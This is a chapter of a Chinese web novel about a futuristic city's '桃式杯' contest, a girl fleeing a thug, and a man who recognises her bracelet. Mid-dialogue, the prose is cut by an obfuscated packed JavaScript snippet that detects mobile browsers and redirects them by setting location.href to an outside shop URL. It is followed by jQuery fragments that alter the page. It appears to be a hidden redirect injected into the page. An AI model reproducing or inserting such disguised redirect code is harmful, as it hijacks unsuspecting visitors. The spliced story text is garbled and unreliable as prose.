黄昏十分,万花城开始热闹起来了,据说这里活动分两场,黄昏促销场和午夜气氛场,不过花顺从来没有在晚七点后逗留过。
“今晚‘桃式杯’总决赛,不少人都来现场了。”花顺奋力地穿过人群,向小陈和范青解释道。
“这个比赛我听过,听说奖池已经高达三十万华币了,还没有人挑战成功,”范青跃跃欲试道,“我也想去看看,比赛规则好像十分暴力美学。”
“第一名已经抉择出来了,但离胜利还差一步之遥,这个比赛启动了一个蛋形防护器,只要有后来者能打开防护器,取出里面的物品,就能得到奖励,不限任何方式。”花顺拨开拥挤的人群解释道。
“那我用炸药炸开也没关系啰?”小陈扬眉挑刺道。
花顺轻笑了一声,似乎早就知道会有这种答案,继续说道:“当然可以,设计者甚至在装载装置里预留了炸药空间,是密封的,只要把炸药丢进去,能炸开一道裂缝,就算赢。”这种自信到自负的设计,似乎是在嘲笑每一个头脑简单的人。
小陈的眼神转了转,似乎在想更聪明的办法,范青迫不及待地踮起脚尖,抻着头张望。
“主赛场在哪里,我们能买到票吗?”
“早就卖光了,三年一届,几百个参赛者互相PK,过五关斩六将闯到总决赛的,都一票难求,”花顺朝他们招了招手,往旁边一处小巷子走去,“不过我可以问问,有没有门路弄到票。”
又拐了几道弯,她来到一间不起眼的门头下左右瞧了瞧,这家铺面没有任何商品,只有个大牌子,上面写着“万花物业”四个大字。
花顺朝柜台后的人使了个眼色。
“天哥,发财呀,”她笑嘻嘻的说,“最近有没有活儿派给我呀。”
被唤作“天哥”的豁牙男子咧嘴一笑。
“小丫头片子,上次叫你来修电器赚了不少吧,怎么,这么快花完了?”
“哎呀呀,谁会嫌活儿多呢,再有什么好机会,都派给我呗。”
“你赶巧了,最近电梯老失灵,你去瞅瞅。”
听见“电梯”两个字,范青和小陈一身冷汗,疑惑地看向花顺:难道刚才那一出跳楼机,不是设定是故障?
花顺一脸无辜,立即安抚道:“刚刚我走的访客模式,还是正常的!”
“嘿,卡中途许多次了,后面就不受控制掉下来,昨儿3号梯就摔了个稀巴烂,啧啧啧。”
范青小陈倏地握住了对方的手,似乎这样相互支撑着就不会倒下,花顺也呼吸一窒,艰难地咽了口唾沫。
“呵呵呵,这么刺激啊,那待会出去,您给个邀请码呗。”
“那我可做不了主,得向老大申请,”他给了花顺一张芯片卡,继续道,“诺,临时系统密钥,你去看看有啥问题,靠谱的话以后就找你来修,早就看老吴不顺眼了。”
话未说完,外面响起了一阵骚动,天哥脸色一变,立即推开花顺朝外走去。
花顺小小的身子站在人群后面,努力忽略范陈两人投来的凶神恶煞的目光。
推推挤挤之间,她看见了前方一头短硬的黄毛。
像受了惊的鸟,花顺立刻缩回了人群后面,紧张地左右躲闪。
天杀的,冤家路窄!
上次她坑了大野之后,一直躲着,连他出没的区域都不敢去,居然在这里碰上了!
好在……大野还没发现她,赶紧逃吧……
“我还是劝你们早点回去吧,一定要看比赛的话就找天哥买票,那什么,我就先走一步了。”
花顺丢下一句话转身开溜。
范青眼疾手快,一把抓住了她的衣领。
“你跑什么,没你带路我们怎么出去?”现在她对花顺极度不信任,连手撕了她的心都有了。
花顺大急,刚刚大野似乎转过头往这边看了一眼,她可没时间周旋了。
“哎呀,你们是路痴吗,就往东走两个巷子在往南拐……”大野那头黄毛在人群中不见了,花顺吓得一哧溜挣脱了,急忙跑没了影。
“喂!”范青气得跳脚,要把地板跺烂了。
“你怎么连个人都抓不住?”小陈忍不住埋怨道。
范青一颗一颗扣下美甲上的钻石,望着花顺消失的地方,咬牙切齿道:“属泥鳅的,滑不留手!”
花顺跑到了一条荒无人烟的巷子里,这里所有铺面都关着门,只是偶尔从零星几扇门后传来令人不安的哭泣和尖叫声。
空旷的路面上,渐渐传来幽森的脚步声回响。
“臭丫头,我以为你死在哪儿了,”大野的声音阴森森的,看不见人影,花顺急忙躲在角落堆栈的货箱后面,“今天可是你自己送上门来的,你妈妈要为你哭泣了~”
大野假模假样地哭了起来,声音里带着一丝变态的兴奋。
花顺脸色煞白,极度紧张,心要蹦出胸口了。
她从腕链侧面表链里拔下一片模块,一小片薄如蝉翼的小刀片展露出来,她戴在手指上,双手止不住地颤抖。
大野离她大约二十米的距离,步伐很慢,时不时用鞋底撞击地面,犹如玩弄猎物般,享受压迫的紧张感。
花顺憋着气,不敢发出丁点声音,手指飞快地在腕链上设置程序,周围的声音仿佛被屏蔽了,她只身沉浸在真空之中,眼里只有一串串代码……
应用程序整齐地排列在屏幕上,每个程序被重命名在三个字以内,似乎显示着屏幕主人有某种强迫症。
一只修长的手指拨动着腕链展开后的屏幕上的按钮,点开收藏的一段视频。
承岳将屏幕递到吴梁面前,缓缓说道:“先生,也许你会对这个画面感兴趣。”
吴梁兴致不高地扫了一眼,随即收回目光发呆,似乎还沉浸在悲伤中,片刻后,失神的眼眸中突然重聚了光彩,他立即坐直身子,一把拿过腕链屏幕,指尖移动,将屏幕上的某个区域放大数倍。
屏幕里放的正是华啸股东大会当众播放的片段,花顺放狗咬云帆的那一段。
但吴梁的焦点并不在事件上,而是把目光全都聚焦在她脚踝上的那条链子上。旋即,他又拿出蓝女士的照片来回对比,果然和她的手链是一模一样的!
“这个女孩现在在哪儿?”吴梁声音有些尖利。
“她现在和我的人在一起,就在万花城,如果您想见她……”
“现在,立刻马上把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993433|193838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她带来!”这条手链上刻着小蓝的幸运数字,不可能那么凑巧……
承岳点点头,走到一边拨通电话。
“是我……你们现在在哪……人呢?”一分钟后,他挂断电话,脸色有些古怪。
“先生,出了点岔子,可能需要您帮忙调取万花城监控系统,找人……”承岳脸上难得有些泛红,似乎对当下的情形有些尴尬。
不过他的情绪很快被一阵欢呼淹没了,万花城似乎在一瞬间沸腾起来,呼喊的声浪迅速扩散,连一向镇静的他都感到一股扑面而来的热情。
“桃式杯”终极挑载赛,正式开幕——
黑金场馆热火朝天,酷炫的橙光在观众席和塞台中央来回切换,动感音乐挑动着兴奋的神经。应援园有节奏地拍动充气棒、喊口号,场馆内一片风风火火的景象。
“各位观众晚上好,我是第四届桃式杯解说员艾伦,坐在我身边的是我的搭档鲁小工,他是来自吴城的顶尖机器人专家——”
“各位新老朋友们,大家久等了!”鲁小工顺势接过话,激动的声音充斥着整个万花城,“欢迎来到黑金赛场——今晚将是曼哈德四年来最璀璨之夜!”
“没错,”艾伦的音量更上了一个台阶,“三年来我们在五大区、四十二分会场,展开了六百七十二场淘汰赛,最终,我们的天才小将脱颖而出,他保持了桃式杯有史以来最快KO记录、单兵不败战绩、团队作战零封对手的神话!他横空出世,甚至出现过让对手临阵逃脱的戏剧场面,”艾伦说完一长串词没有磕绊,他深吸一口气,激情洋溢地喊道,“接下来,让我们用最热情的掌声,欢迎第四届桃式杯最终挑战者——卫自由!”
热情的欢呼声几乎要将场馆棚顶掀翻了,塞台甬道尽头,灯光聚集之处,从暗面渐渐走来一个身影,他穿戴着一件宽大兜帽斗篷,看不清楚真实面孔。
随着鼓点节奏同步往前,身影渐渐明朗,只见一个带着腼腆微笑的高瘦少年出现,脸上的酒窝若隐若现,微微泛红的皮肤分不清是雀斑还是害羞,他脖子上趴着一只绒毛小猴子,正活灵活现地朝着观众龇牙,看起来比主人更兴奋些。
官方资料上他已经二十岁,但看上去只有十七八岁的模样,他来到赛台中央,微笑着朝观众颔首致意。
观众的欢呼渐渐平息之后,他深吸一口气,垂下眼眸不再理会馆内喧闹,仿佛入定一般。
“接下来,是本场挑战赛重头戏,这一次会带给我们怎样的惊喜呢?是加冕王中之王,还是折戟沉沙?让我们拭目以待,现在,有请历届赛台之王——‘全佑之盾’!”主持人热情嘶吼,把气氛带向了更高潮。
音乐鼓点密集,聚光灯对焦在塞场中央,看台上方的全息投影突然出现倒计时,一阵欢呼后,观众跟着齐齐跟倒数。
“五、四、三……二……一!”
落珠般的鼓点喷出,气氛瞬间沸腾。
赛台中央的金属地板向四周展开,一个巨型升降台缓缓升起,上方真空玻璃罩内放置着一只蛋形容器,金属外壳泛着低调的哑光,整体造型完美无缺,没有一丝焊接的痕迹。
它静静地立在赛场中央,像脾睨全场的王者,隔绝四周喧嚣。